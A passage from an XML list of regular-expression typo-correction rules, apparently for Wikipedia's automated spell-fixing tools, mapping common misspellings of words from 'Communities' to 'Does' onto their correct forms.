<Typo word="Communities" find="\b([cC])omm?un?it[ei]+s\b(?<!ommunities)" replace="$1ommunities"/>
<Typo word="Company" find="\b([cC])om(?:a(?:n|pa?n)|pna)(i(?:es|ons?)|y)\b" replace="$1ompan$2"/>
<Typo word="Comparative" find="\b([cC])omp(?:ar[ei]?|era)tiv(e(?:ly|ness|s?)|ist)\b" replace="$1omparativ$2"/>
<Typo word="Comparison" find="\b([cC])omparision(s)?\b" replace="$1omparison$2"/>
<Typo word="(In)Compatible" find="\b([cC]|[iI]nc)ompa?ti?abl([ey])\b" replace="$1ompatibl$2"/>
<Typo word="(In/Histo)Compatibility" find="\b([cC]|[hH]istoc|[iI]nc)ompa(?:bi|ti?(?:abi?|ib))lit(ies|y)\b" replace="$1ompatibilit$2"/>
<Typo word="(In)Competent" find="\b([cC]|[iI]nc)omp(?:at[ae]|et[ai]|it[ae]|tete)n(ce|t(?:ly)?)\b" replace="$1ompeten$2"/>
<Typo word="Competition" find="\b([cC])o(?:mpet(?:[ae]t|itit?)|pmetit)(i(?:ons?|ve(?:ly|ness)?)|ors?)\b" replace="$1ompetit$2"/><!--see also "-petiti(on/ve)"-->
<Typo word="Compilation" find="\b([cC])om(?:ilati?|p(?:iliati?|li(?:ati?|lati?))|pil(?:at|li?ati?))on(s)?\b" replace="$1ompilation$2"/>
<Typo word="(In)Complete" find="\b([cC]|[iI]nc)ompl(?:eate?\b(?<!Compleat)|ate|eete)([ds]?|ly|ness)\b" replace="$1omplete$2"/>
<!--avoid Compleat, (in)complet-->
<Typo word="(In)Completely" find="\b([cC]|[iI]nc)omplet(?:elyl|le?y)\b" replace="$1ompletely"/>
<Typo word="Comp(l)eting" find="\b([cC]ompl?et)et?i(ng|on?)\b" replace="$1i$2"/>
<Typo word="Composite" find="\b([cC])omposate(s)?\b" replace="$1omposite$2"/>
<Typo word="Compound" find="\b([cC])omp[ou]nd([a-z]*)\b" replace="$1ompound$2"/>
<Typo word="Comprehensive" find="\b([cC])omphrehensi(bl[ey]|on|ve(?:ly)?)\b" replace="$1omprehensi$2"/>
<Typo word="Comprise" find="\b([cC])onpris(e[ds]?|ing)\b" replace="$1ompris$2"/>
<Typo word="Compromise" find="\b([cC])ompr(?:imi[sz]|omiz)(e[ds]?|ing)\b" replace="$1ompromis$2"/>
<Typo word="(Com/Pro)pulsory" find="\b([cC]om|[pP]ro)puls[ae]r(ies|y)\b" replace="$1pulsor$2"/>
<Typo word="Compute" find="\b([cC])m?opute([ds]|r(?:i[sz]e[ds]?|s?))\b" replace="$1ompute$2"/>
<Typo word="Concentrate" find="\b([cC])onsentrat(e[ds]?|i(?:ng|ons?))\b" replace="$1oncentrat$2"/>
<Typo word="Concept" find="\b([cC])on(?:cep([abd-su-z])|sept)([a-z]*)\b" replace="$1oncept$2$3"/>
<Typo word="(Un)Concern" find="\b([cC]|[uU]nc)onsern(ed|ing|s?)\b" replace="$1oncern$2"/>
<Typo word="Condemned" find="\b([cC])ond(?:amn|em+)e([dr])\b" replace="$1ondemne$2"/>
<Typo word="Condominium" find="\b([cC])ondominum(s)?\b" replace="$1ondominium$2"/>
<Typo word="Confides" find="\b([cC])onfids\b" replace="$1onfides"/>
<Typo word="Confirmation" find="\b([cC])onfirmmation\b" replace="$1onfirmation"/>
<Typo word="Conform" find="\b([cC])oform(ance|e(?:d|rs?)|ing)\b" replace="$1onform$2"/>
<Typo word="Confront" find="\b([cC])onfont(ation(?:al|ists?)?|e(?:d|rs?)|ing|s?)\b" replace="$1onfront$2"/>
<Typo word="Congratulate" find="\b([cC])ongradulat(e[ds]?|i(?:ng|ons)|ory)\b" replace="$1ongratulat$2"/>
<Typo word="Congressional" find="\b([cC])ongres[is]onal(ly)?\b" replace="$1ongressional$2"/>
<Typo word="Conjecture" find="\b([cC])onjecutr(e[ds]?|ing)\b" replace="$1onjectur$2"/>
<Typo word="(Dis/Un)Connect" find="\b([cC]|[dD]isc|[uU]nc)onect(ed|i(?:ng|ons?|ves?)|ors?|s?)\b" replace="$1onnect$2"/>
<Typo word="Connive" find="\b([cC])oniv(e[drs]?|ing)\b" replace="$1onniv$2"/>
<Typo word="Connotation" find="\b([cC])(?:an|o)notati(ons?|ve(?:ly)?)\b" replace="$1onnotati$2"/>
<Typo word="Conquered" find="\b([cC])onqu(?:er(?:re)?|re)d\b" replace="$1onquered"/>
<Typo word="Conqueror" find="\b([cC])onquerer(s)?\b" replace="$1onqueror$2"/>
<Typo word="(Sub/Un/Semi/Pre)Conscious" find="\b([cC]|[pP]rec|[sS](?:emic|ubc)|[uU]nc)on[cs]io(nabl[ey]|us(?:ly|ness)?)\b" replace="$1onscio$2"/>
<Typo word="(Sub/Un/Semi/Pre)Consciousness" find="\b([cC]|[pP]rec|[sS](?:emic|ubc)|[uU]nc)ons(?:ciou|ici?ous?)ness(es)?\b" replace="$1onsciousness$2"/>
<Typo word="Consecutive" find="\b([cC])onsectut?ive(ly)?\b" replace="$1onsecutive$2"/>
<Typo word="Consensus" find="\b([cC])on(?:cens|esenc|s(?:cens|enc?))us\b" replace="$1onsensus"/>
<Typo word="Consent" find="\b([cC])onscent(ed|ing)\b" replace="$1onsent$2"/>
<Typo word="Conservative" find="\b([cC])onservitiv(e(?:ly|s?)|ism)\b" replace="$1onservativ$2"/>
<Typo word="(Re)Consider" find="\b([cC]|[rR]ec)on(?:cid|sdid?)er(abl[ey]|ed|ing|s?)\b" replace="$1onsider$2"/>
<Typo word="(In)Considerate" find="\b([cC]|[iI]nc)onsiderite?(ly)?\b" replace="$1onsiderate$2"/>
<Typo word="(Re)Considered" find="\b([cC]|[rR]ec)onsider(?:d|es)\b" replace="$1onsidered"/>
<Typo word="Consolidate" find="\b([cC])onsol[ao]dat(e[ds]?|i(?:ng|ons?))\b" replace="$1onsolidat$2"/>
<Typo word="Consommé" find="\b([cC])onsomme(s)?\b" replace="$1onsommé$2"/>
<Typo word="Conspiracy" find="\b([cC])onspiri(c(?:ies|y?)|tor[a-z]*)\b" replace="$1onspira$2"/>
<Typo word="(In)Constantly" find="\b([cC]|[iI]nc)onstanly\b" replace="$1onstantly"/>
<Typo word="Consternation" find="\b([cC])onstarnation(s)?\b" replace="$1onsternation$2"/>
<Typo word="Constituent" find="\b([cC])o(?:n(?:s(?:itu|tis?tu)|titu)|stis?tu|nst(?:utu|i(?:stua|tu(?:a|te)))|n[st]ite[ae])(?:en|ne?)(?<!onstituen)(c(?:ies|y)|ts?)\b" replace="$1onstituen$2"/>
<Typo word="(Re/Un)Constitute" find="\b([cC]|[rR]ec|[uU]nc)onsitut([a-z]+)\b" replace="$1onstitut$2"/>
<Typo word="(Un)Constitution" find="\b([cC]|[uU]nc)o(?:n(?:stitu|titut)|stitut)ion([a-z]*)\b" replace="$1onstitution$2"/>
<Typo word="(Un)Constrain" find="\b([cC]|[uU]nc)onstain(ed|ing|s?|ts?)\b" replace="$1onstrain$2"/>
<Typo word="Consultant" find="\b([cC])onsul(?:a|te)nt(s)?\b" replace="$1onsultant$2"/>
<Typo word="Consum(ption/ptive/e/mate)" find="\b([cC])omsum(pti(?:ons?|ve)|e(?:[ds]?|r(?:ism|s?))|ing|mat(?:e[ds]?|ion))\b" replace="$1onsum$2"/>
<Typo word="Consumer" find="\b([cC])onsumber(ism|s?)\b" replace="$1onsumer$2"/>
<Typo word="Consummate" find="\b([cC])onsumat(e[ds]?|i(?:ng|ons?))\b" replace="$1onsummat$2"/>
<Typo word="Contain" find="\b([cC])o[mu]n?tain(e(?:d|rs?)|ing|s?)\b" replace="$1ontain$2"/>
<Typo word="Contains" find="\b([cC])ontai?nes\b" replace="$1ontains"/>
<Typo word="(De)Contaminate" find="\b([cC]|[dD]ec)ontaiminat(e[ds]?|i(?:ng|ons?))\b" replace="$1ontaminat$2"/>
<Typo word="(Con/Ex)temporaneous" find="\b([cC]on|[eE]x)temporan[eou]{1,2}s(ly)?\b" replace="$1temporaneous$2"/>
<Typo word="(Con/Pre)tender" find="\b([cC]on|[pP]re)tendor(s)?\b" replace="$1tender$2"/>
<Typo word="(Inter/Trans)Continental" find="\b([cC]|[iI]nterc|[tT]ransc)ontine(?:ntial|tal)\b" replace="$1ontinental"/>
<Typo word="(Dis)Continue" find="\b([cC]|[dD]isc)o(?:n(?:sti|t)|unti)i?[nu]+(a(?:l(?:ly)?|tions?)|e[ds]?|i(?:ng|ty)|ous(?:ly)?)\b(?<![cC]ontinu[a-z]+|[dD]iscontinu[a-z]+)" replace="$1ontinu$2"/><!--avoid self-->
<Typo word="(Dis)Continuous" find="\b([cC]|[dD]isc)onti(?:n(?:ou|uo)|uou)s(ly)?\b" replace="$1ontinuous$2"/>
<Typo word="Contrary" find="\b([cC])ontary\b" replace="$1ontrary"/>
<Typo word="Contrast" find="\b([cC])on(?:stra|tar)st(able|ed|ing(?:ly)?|s?)\b" replace="$1ontrast$2"/>
<Typo word="Control" find="\b([cC])ont(?:ol|roll)(s)?\b" replace="$1ontrol$2"/>
<Typo word="(Un)Controlled" find="\b([cC]|[uU]nc)ont(?:oll|rol)(able|e[dr]|ing)\b" replace="$1ontroll$2"/>
<Typo word="Controversial" find="\b([cC])ontroversal(ly)?\b" replace="$1ontroversial$2"/>
<Typo word="Controversy" find="\b([cC])ontr(?:ave(?:[cst]?|r[cst]?)|ove(?:[cst]?|r[ct]?))(y|i(?:al(?:ly)?|es))\b" replace="$1ontrovers$2"/>
<Typo word="(In)Convenient" find="\b([cC]|[iI]nc)onv(?:e(?:ine|nia)|ienie|vienie)n(ces?|t(?:ly)?)\b" replace="$1onvenien$2"/>
<Typo word="(Un)Conventional" find="\b([cC]|[uU]nc)onve(?:nti|tion)al(i(?:s[mt]|ze[ds]?)|ly)?\b" replace="$1onventional$2"/>
<Typo word="Converter" find="\b([cC])onvertor(s)?\b" replace="$1onverter$2"/>
<Typo word="Conveyor" find="\b([cC])onveyer(s)?\b" replace="$1onveyor$2"/>
<Typo word="(Un)Convince" find="\b([cC]|[uU]nc)onvic(e[ds]?|ing(?:ly)?)\b" replace="$1onvinc$2"/>
<Typo word="(Un)Cooperate" find="\b([cC]|[uU]nc)oop[ao]rat(e[ds]?|i(?:ng|on|ve(?:ly)?))\b" replace="$1ooperat$2"/>
<Typo word="(Un)Coordinate" find="\b([cC]|[uU]nc)oordian?t([a-z]+)\b" replace="$1oordinat$2"/>
<Typo word="Copenhagen" find="\b[cC]openhagan\b" replace="Copenhagen"/>
<Typo word="Copied" find="\b([cC])oppied\b" replace="$1opied"/>
<Typo word="Copy" find="\b([cC])poy(ing)?\b" replace="$1opy$2"/>
<Typo word="Copyright" find="\b([cC])opywrite\b" replace="$1opyright"/>
<Typo word="Cordial" find="\b([cC])oridal(ity|ly|s?)\b" replace="$1ordial$2"/>
<Typo word="(In/Disin)Corporate" find="\b([cC]|[dD]isinc|[iI]nc)orp(?:[ae]rt?|ort|ro)at(e[ds]?|i(?:ng|ons?))\b" replace="$1orporat$2"/>
<Typo word="(In)Correct" find="\b([cC]|[iI]nc)(?:or(?:e(?:ctc?|tc?)|r(?:etc?|r+e(?:ctc?|tc?)))|r+ect)(ab(?:ility|le)|ed|i(?:b(?:ility|le)|ng(?:ly)?|ons?)|ly|ness|or|s?)\b" replace="$1orrect$2"/>
<Typo word="Correspond" find="\b([cC]orr|[rR])(?:e|is)(?:po[ns]d|spon)(|s\b(?<!\b[rR]espons)|e(?:d|n(?:c(?:es?|ies|y)|ts?))|ing(?:ly)?)\b" replace="$1espond$2"/>
<Typo word="Corresponde(nt/ce)" find="\b([cC])orr[ei]spondan(c(?:es?|y)|ts?)\b(?!\s+[dD]es?\b)(?<!\b(?:des?|et|[lL](?:a|es))\s+\b[cC]orr[ei]spondan(?:c(?:es?|y)|ts?)\b(?!\s+[dD]es?\b))" replace="$1orresponden$2"/>
<!--avoid French word correspondance(s) via lookaround for French articles-->
<Typo word="Corridor" find="\b([cC])o(?:co?rr[ae]do|orr[ae]do|r(?:[aei]doo?|r(?:[ae]doo?|idoo)))r(s)?\b(?<![cC]orredor)" replace="$1orridor$2"/>
<Typo word="Cotton_" find="\bcotten\b" replace="cotton"/><!--avoid surname Cotten-->
<Typo word="Could" find="\b([cC])oudl\b" replace="$1ould"/>
<Typo word="(C/W/Sh)ould have (2)" find="\b([cw]|sh)ould\s+(?:had|of)\s+([a-z]+ed|been|given)\b" replace="$1ould have $2"/>
<Typo word="(C/W/Sh)ould have" find="\b([cC]|[sS]h|[wW])ould\s+of\b(\S|\s+(?:been|[dg]one|had|said))\b" replace="$1ould have$2"/>
<Typo word="Couldn't" find="\b([cC])oudl?n[´ˈ׳᾿‘’′Ꞌꞌ`']t\b" replace="$1ouldn't"/>
<Typo word="Council" find="\b([cC])oucil(lors?|s?)\b" replace="$1ouncil$2"/>
<Typo word="Countries" find="\b([cC])oun(?:ir|ri|tir)es\b" replace="$1ountries"/>
<Typo word="Country" find="\b([cC])ontr(i(?:e(?:fied|s)|fied)|m[ae]n|wom[ae]n|y(?:efied|fied|sides?)?)\b" replace="$1ountr$2"/>
<Typo word="Coup d'État" find="\b([cC])oup(s)?\s+([dD])[´ˈ׳᾿‘’′Ꞌꞌ`']Etat\b" replace="$1oup$2 $3'État"/>
<Typo word="Coup d'état" find="\b([cC])oup(s)?\s+([dD])[´ˈ׳᾿‘’′Ꞌꞌ`']?\s?[eê]tat?\b" replace="$1oup$2 $3'état"/>
<Typo word="Courier" find="\b([cC])oururier(s)?\b" replace="$1ourier$2"/>
<Typo word="Covenant" find="\b([cC])onvenant([a-z]*)\b" replace="$1ovenant$2"/>
<Typo word="Creüsa" find="\bcreusa\b" replace="Creüsa"/>
<Typo word="Create" find="\b([cC])reaete([ds])?\b" replace="$1reate$2"/>
<Typo word="credence" find="\bcreedence\b" replace="credence"/><!--avoid Creedence, which usually refers to the band Creedence Clearwater Revival-->
<Typo word="(In)Credible" find="\b([cC]|[iI]nc)read[ai]b(ility|l[ey])\b" replace="$1redib$2"/>
<Typo word="Criteria" find="\b([cC])riteri(?:a|on)s\b(?<![tT]he Criterions)" replace="$1riteria"/><!--avoid the group The Criterions-->
<Typo word="Criterion" find="\b([cC])ritereon\b" replace="$1riterion"/>
<Typo word="Critical" find="\b([cC])r(?:it(?:c?|is|tic)|tic)(al(?:ly)?|i[sz](?:e[ds]?|ing)|isms?)\b" replace="$1ritic$2"/>
<Typo word="Critics" find="\b([cC])riticists\b" replace="$1ritics"/>
<Typo word="Crocodile" find="\b([cC])rockodile(s)?\b" replace="$1rocodile$2"/>
<Typo word="Crucifixion" find="\b([cC])rucifiction\b" replace="$1rucifixion"/>
<Typo word="Crudités" find="\b([cC])rudite(s)?\b" replace="$1rudité$2"/>
<Typo word="Cruise" find="\b([cC])rusi?(e(?:[ds]?|rs?)|ing)\b(?<!Cruser?)" replace="$1ruis$2"/><!--avoid surnames Cruse & Cruser-->
<Typo word="Crystalli(s/z)ation_" find="\b([cC])rystal([io][a-z]+)\b" replace="$1rystall$2"/>
<Typo word="Cuisine" find="\b([cC])usine(s)?\b" replace="$1uisine$2"/>
<Typo word="Culinary" find="\b([cC])ul(?:in(?:ar|er?)|lina)ry\b" replace="$1ulinary"/>
<Typo word="(C/F)ulminate" find="\b([cfCF])uliminat(e[ds]?|i(?:ng|ons?))\b" replace="$1ulminat$2"/>
<Typo word="(Agri/Horti/Multi)Cultural" find="\b([aA]gric|[cC]|[hH]ortic|[mM]ultic)ultral([a-z]*)\b" replace="$1ultural$2"/>
<Typo word="Cumulative" find="\b([cC])umulatative(ly)?\b" replace="$1umulative$2"/>
<Typo word="Curaçao" find="\bCuracao\b" replace="Curaçao"/>
<Typo word="Curiosity" find="\b([cC])uriousit(ies|y)\b" replace="$1uriosit$2"/>
<Typo word="Currently" find="\b([cC])ur(?:en(?:[lt]|te?l)|rent(?:ele?|le)|ren[lt])e?y\b" replace="$1urrently"/>
<Typo word="Curriculum" find="\b([cC])(?:iriculu|urricule)m\b" replace="$1urriculum"/>
<Typo word="Customer" find="\b([cC])u(?:sot|tso)mer(s)?\b" replace="$1ustomer$2"/>
<Typo word="Cylinder" find="\b([cC])(?:i|yc)lind(ers?|rical(?:ly)?)\b" replace="$1ylind$2"/>
<Typo word="Cylindrical" find="\b([cC])ylinderical(ly)?\b" replace="$1ylindrical$2"/>
</source>
===D===
<source lang="xml">
<Typo word="Dardanelles" find="\b(?:Darde|dard[ae])nelles\b" replace="Dardanelles"/>
<Typo word="Dante Alighieri" find="\bDante\s+Aligh(?:ei?ri|irei?)\b" replace="Dante Alighieri"/>
<Typo word="Daughter" find="\b([dD])au(?:gt?h?|hg?t)er(s)?\b" replace="$1aughter$2"/>
<Typo word="deal" find="\bdael(s)?\b" replace="deal$1"/><!--avoid surnames Dael & Daels-->
<Typo word="Deal*" find="\b([dD])ael(ings?|t)\b" replace="$1eal$2"/>
<Typo word="Decide" find="\b([dD])esi(d(?:e(?:d(?:ly)?|s?)|ing)|sions?)\b" replace="$1eci$2"/>
<Typo word="(Un)Decidedly" find="\b([dD]|[uU]nd)ecidely\b" replace="$1ecidedly"/>
<Typo word="(In)Decision" find="\b([dD]|[iI]nd)e(?:cis|s(?:cisi|i(?:[cs]i)))(ons?|ve(?:ly)?)\b" replace="$1ecisi$2"/>
<Typo word="Decrees" find="\b([dD])ecress\b" replace="$1ecrees"/>
<Typo word="Defensive" find="\b([dD])efencive([a-z]*)\b" replace="$1efensive$2"/>
<Typo word="Deficit" find="\b([dD])efict(s)?\b" replace="$1eficit$2"/>
<Typo word="(Re/Un)Define" find="\b([dD]|[rR]ed|[uU]nd)ef(?:f(?:in(?:in)?|nin)|inin)(e[ds]?|i(?:ng|tions?))\b" replace="$1efin$2"/>
<Typo word="(In)Definition" find="\b([dD]|[iI]nd)ef(?:f(?:f+inite?|in(?:et|ite?))|in(?:et|it|ti)|nin(?:i?|it|ti?))(ons?|ve(?:ly|ness|s?))\b" replace="$1efiniti$2"/>
<Typo word="Degradation" find="\b([dD])egredation\b" replace="$1egradation"/>
<Typo word="Degrade" find="\b([dD])egrat(e[ds]?|ing)\b" replace="$1egrad$2"/>
<Typo word="Deity" find="\b([dD])iet(ies|y)\b" replace="$1eit$2"/>
<Typo word="Déjà Vu" find="\b([dD])(?:éja|ejà)\s+([vV])u\b" replace="$1éjà $2u"/><!--avoid [[wikt:deja vu]]-->
<Typo word="(D/R)elegate" find="\b([drDR])elagat(e[ds]?|i(?:ng|ons?))\b" replace="$1elegat$2"/>
<Typo word="Delineate" find="\b([dD])eliniat([a-z]+)\b" replace="$1elineat$2"/>
<Typo word="Delirious" find="\b([dD])elerious(ly)?\b" replace="$1elirious$2"/>
<Typo word="Delusively" find="\b([dD])elusionally\b" replace="$1elusively"/>
<Typo word="(Mis)Demeanor" find="\b([dD]|[mM]isd)(?:amenou?|eme(?:ane|n[eo]))r(s)?\b" replace="$1emeanor$2"/>
<Typo word="(Un)Democrat" find="\b([dD]|[uU]nd)e(?:m(?:or)?|om)cra([ct][a-z]*)\b" replace="$1emocra$2"/>
<Typo word="Demographic" find="\b([dD])emographical\b" replace="$1emographic"/>
<Typo word="Demolition" find="\b([dD])emolision(s)?\b" replace="$1emolition$2"/>
<Typo word="(D/R)emonstrate" find="\b([drDR])emo(?:n[st]r|str)at(e[ds]?|i(?:ng|ons?|ve(?:ly|s?))|ors?)\b" replace="$1emonstrat$2"/>
<Typo word="Denigrate" find="\b([dD])enegrat(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1enigrat$2"/>
<Typo word="Dénouement" find="\b([dD][eé])noument\b" replace="$1nouement"/><!--avoid [[wikt:denouement]]-->
<Typo word="Department" find="\b([dD])e(?:aprt|p(?:ar|tart?))me?nt(al(?:ly)?|s?)\b" replace="$1epartment$2"/>
<Typo disabled="Département(al)" find="\b([dD])epartement(ale?)?\b" replace="$1épartement$2"/><!--disabled per talk, departement is often department instead-->
<Typo word="(In)Dependent" find="\b([dD]|[iI]nd)(?:enpen?d[ae]n|ipen?d[ae]n|pen?d[ae]n|e(?:npen?dan|pe(?:d[ae]n|nd(?:an|ende)))|ndepeden)(ce|t(?:ly)?)\b(?<!\b[dD]ependants?)(?<![lL]'independance)" replace="$1ependen$2"/><!--avoid dependant, (L/l)'independance-->
<Typo word="dependent on" find="\b((?:are|be(?:e(?:c(?:ame|omes?)|n))?|is|w(?:as|ere))\s+(?:al(?:l|so)\s+|[a-z]+ly\s+|becoming\s+|more\s+|no[tw]\s+|often\s+|still\s+|very\s+)?)dependant\s+on\b" replace="$1dependent on"/>
<Typo word="Depict" find="\b([dD])espict(ions?|s?)\b" replace="$1epict$2"/>
<Typo word="Derivative" find="\b([dD])erivia?ti(ons?|ves?)\b" replace="$1erivati$2"/>
<Typo word="Derive" find="\b([dD])(?:eriviat|iriv)(ations?|e[ds]?|ing)\b" replace="$1eriv$2"/>
<Typo word="Derogatory" find="\b([dD])erog[io]tory\b" replace="$1erogatory"/>
<Typo word="Derrière" find="\b([dD])er+ier+e(s)?\b" replace="$1errière$2"/>
<Typo word="Descendant" find="\b([dD])e(?:cend[ae]nt|s(?:cendand|end[ae]nt))(s)?\b" replace="$1escendant$2"/>
<Typo word="Descriptor" find="\b([dD])e(?:cri?|sc(?:ri?)?)ipter(s)?\b" replace="$1escriptor$2"/>
<Typo word="Desiccate" find="\b([dD])es+[aei]cat(e[ds]?|ions?)\b" replace="$1esiccat$2"/>
<Typo word="Design(ate)" find="\b([dD])(?:e(?:isgn|s(?:gin|ing|sigi?n))|is(?:gin|i(?:gn|ng)|sigi?n))(at(?:e[ds]?|ors?)|e(?:d|rs?)|ing|s?)\b" replace="$1esign$2"/>
<Typo word="Desktop" find="\b([dD])esktiop(s)?\b" replace="$1esktop$2"/>
<Typo word="Desperate" find="\b([dD])esp[ai]rat(e(?:ly)?|ion)\b" replace="$1esperat$2"/>
<Typo word="Destroy" find="\b([dD])est(?:ory|roi)(e(?:d|rs?)|ing|s?)\b" replace="$1estroy$2"/>
<Typo word="(Non/In)Destruct" find="\b([dD](?!istructs?\b)|[iI]nd|[nN]ond)ist?ruct([a-z]*)\b" replace="$1estruct$2"/><!--avoid "distruct" (district?)-->
<Typo word="Detach" find="\b([dD])etatch(able|e[ds]|ing|ments?)?\b" replace="$1etach$2"/>
<Typo word="Detail" find="\b([dD])e(?:ati|tail)l(ed|ing|s?)\b" replace="$1etail$2"/>
<Typo word="(In)Detect" find="\b([dD]|[iI]nd)ectect([a-z]*)\b" replace="$1etect$2"/>
<Typo word="(Un)Detectable" find="\b([dD]|[uU]n)etecabl([ey])\b" replace="$1etectabl$2"/>
<Typo word="Détente" find="\b([dD])etente\b" replace="$1étente"/>
<Typo word="Deterrent" find="\b([dD])eter(?:[ae]|ra)n(ce|ts?)\b" replace="$1eterren$2"/>
<Typo word="Deteriorate" find="\b([dD])ete(?:or|r(?:ior)?)iat(e[ds]?|i(?:ng|on))\b" replace="$1eteriorat$2"/>
<Typo word="Determine" find="\b([dD])et(?:e(?:m|rmin)|rm)in(at(?:e|ions?)|e[ds]?|ing)\b" replace="$1etermin$2"/>
<Typo word="(De/Nu)triment" find="\b([dD]e|nu)tr[ae]ment(al|s?)\b" replace="$1triment$2"/>
<Typo word="Devastate" find="\b([dD])ev(?:asa?|[ei]st?a)t(e[ds]?|i(?:ng|on))\b" replace="$1evastat$2"/>
<Typo word="Develop" find="\b([dD])ev(?!il per)(?:al+\w?|el(?:[aeiu]?|l(?:[aeiu]?|l+[aeiu]?|\w?))|il+\w?|l+\w?|[ou]l+\w?)p(e[dr]|ing|s?|ment(?:al(?:ly)?|s?))\b" replace="$1evelop$2"/>
<Typo word="Developed/Developer" find="\b([dD])evel(?:eop|op(?:o|pe))(d|rs?)\b" replace="$1evelope$2"/>
<Typo word="Development" find="\b([dD])e(?:levop[eo]?men|v(?:el(?:ope?mn|p[eo]?men)|ol[eo]p[eo]?men))t(al|s?)\b" replace="$1evelopment$2"/>
<Typo word="Device" find="\b([dD])ivice(s)?\b" replace="$1evice$2"/>
<Typo word="Diabolical" find="\b([dD])i(?:ab|bo)lical(ly)?\b" replace="$1iabolical$2"/>
<Typo word="Diameter" find="\b([dD])iamater(s)?\b" replace="$1iameter$2"/>
<Typo word="Diamonds" find="\b([dD])iamons\b" replace="$1iamonds"/>
<Typo word="Diarrhea" find="\b([dD])iar[hr]ea\b" replace="$1iarrhea"/>
<Typo word="Dichotomy" find="\b([dD])ichtom(ies|y)\b" replace="$1ichotom$2"/>
<Typo word="Didn't" find="\b([dD])idin[´ˈ׳᾿‘’′Ꞌꞌ`;']?t\b" replace="$1idn't"/>
<Typo word="Differentiate" find="\b([dD])iff?[aei]?ren(?:[cs]iat|tiatiat)(e[ds]?|i(?:ng|ons?))\b" replace="$1ifferentiat$2"/>
<Typo word="Difficult" find="\b([dD])if(?:cu(?:il|l)|f(?:cu(?:il|l)|icu(?:il|li))|icu(?:il|li?))t(ies|ly|y?)\b" replace="$1ifficult$2"/>
<Typo word="Diffuse" find="\b([dD])ifus(e(?:[ds]?|ly|ness|rs?)|i(?:ng|on|ve))\b" replace="$1iffus$2"/>
<Typo word="Dilapidate" find="\b([dD])(?:e|il)lapidat(e[ds]?|ion)\b" replace="$1ilapidat$2"/>
<Typo word="Dilemma" find="\b([dD])ill?e(?:m(?:mm+|n)|nm)a(s)?\b" replace="$1ilemma$2"/>
<Typo word="_Dilemma" find="\bdil(?:e|lem?)ma(s)?\b" replace="dilemma$1"/>
<Typo word="Dimension" find="\b([dD])ime(?:nt?|sn)ion(al(?:ity|ly)?|s?)\b" replace="$1imension$2"/>
<Typo word="Diminish" find="\b([dD])em+inish(abl[ey]|e[ds]|ing|ments?)?\b" replace="$1iminish$2"/>
<Typo word="Diminutive" find="\b([dD])iminuiti([a-z]+)\b" replace="$1iminuti$2"/>
<Typo word="Dining" find="\b([dD])inning\s+([aA]reas?|[cC](?:ars?|lubs?)|[hH]alls?|[rR]ooms?|[tT]ables?)\b" replace="$1ining $2"/>
<Typo word="Diocese" find="\b([dD])ioses(an|es?)\b" replace="$1ioces$2"/>
<Typo word="Diplomacy" find="\b([dD])iplomancy\b" replace="$1iplomacy"/>
<Typo word="(In)Directly" find="\b([dD]|[iI]nd)(?:irect|riectl)y\b" replace="$1irectly"/>
<Typo word="Disability" find="\b([dD])isibilit(ies|y)\b" replace="$1isabilit$2"/>
<Typo word="Disappear" find="\b([dD])is+ap+ear+(?<!isappear)(ances?|ed|ing|s?)\b" replace="$1isappear$2"/>
<Typo word="Disaster" find="\b([dD])iaster(s)?\b" replace="$1isaster$2"/>
<Typo word="Disastrous" find="\b([dD])isa(?:ste|t)rous(ly)?\b" replace="$1isastrous$2"/>
<Typo word="Disciple" find="\b([dD])i[cs]ipl(es?|in[ei][a-z]*)\b" replace="$1iscipl$2"/>
<Typo word="(Un)Discipline 1" find="\b([dD]|[uU]nd)i(?:ciplin|sc(?:iplin|pline?))([ds])?\b" replace="$1iscipline$2"/>
<Typo word="(Un)Discipline 2" find="\b([dD]|[uU]nd)i[cs]ic?plin([a-z]+)\b" replace="$1isciplin$2"/>
<Typo word="Discography" find="\b([dD])is(?:cograp|ograph)(ies|y?)\b" replace="$1iscograph$2"/>
<Typo word="(Re)Discover" find="\b([dD]|[rR]ed)i[cs]over(e[dr]|i(?:es|ng)|[sy]?)\b" replace="$1iscover$2"/>
<Typo word="Discrepancy" find="\b([dD])iscrepen[cs](ies|y)\b" replace="$1iscrepanc$2"/>
<Typo word="Discuss" find="\b([dD])(?:es|i)cs?uss(e[ds]|i(?:ng|ons?))?\b" replace="$1iscuss$2"/>
<Typo word="Disdain" find="\b([dD])istain(ed|ful(?:ly|ness)?|ing|s?)\b" replace="$1isdain$2"/>
<Typo word="(Dis)enchanted" find="\b([dD]ise|[eE])nchanged\b" replace="$1nchanted"/>
<Typo word="Disguise" find="\b([dD])i(?:g|sq)uis(e[ds]?|ing)\b" replace="$1isguis$2"/>
<Typo word="Disparagingly" find="\b([dD])isparingly\b" replace="$1isparagingly"/>
<Typo word="Display" find="\b([dD])i(?:apla|spal)y(ed|s?)\b" replace="$1isplay$2"/>
<Typo word="displease" find="\bunplease([ds])?\b" replace="displease$1"/>
<Typo word="Displease" find="\bUnplease([ds])?\b" replace="Displease$1"/>
<Typo word="Dissident" find="\b([dD])is(?:[aeio]d[ae]|s(?:[ae]d[ae]|ida|od[ae]|s+[aeio]d[ae]))n(ce|ts?)\b" replace="$1issiden$2"/>
<Typo word="(In)Distinct_" find="\b([dD]|[iI]nd)is(?:ctinc|inc|t(?:ic|[ai]n(?=ti)))t(i(?:on|ve(?:ly)?)|ly)?\b" replace="$1istinct$2"/><!--avoid Distin-->
<Typo word="(Un)Distort" find="\b([dD]|[uU]nd)isort([a-z]+)\b" replace="$1istort$2"/>
<Typo word="Distribute" find="\b([dD])i(?:si)?tribut(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1istribut$2"/>
<Typo word="Distribution" find="\b([dD])istribusion\b" replace="$1istribution"/>
<Typo word="District" find="\b([dD]|[rR]ed)is(?:itrict|r(?:i(?:ct?|t)|tic?t)|tr(?:ct|i[ct]))(ed|ing|s?)\b" replace="$1istrict$2"/>
<Typo word="Divide_" find="\bdevi(d(?:e[drs]?|ing)|sions?)\b" replace="divi$1"/><!--avoid surname Devide-->
<Typo word="Division" find="\b([dD])iv(?:is|si)on(al|s?)\b" replace="$1ivision$2"/>
<Typo word="Doctrines" find="\b([dD])oc[rt]ine(s)?\b" replace="$1octrine$2"/>
<Typo word="(Un)Document" find="\b([dD]|[uU]nd)(?:c+ument|oc(?:c?u(?:eme?nt|m(?:ant|etn|net))|cument))([a-z]*)\b" replace="$1ocument$2"/>
<Typo word="Does" find="\b([dD])oe(?:ns|se)\b" replace="$1oes"/>
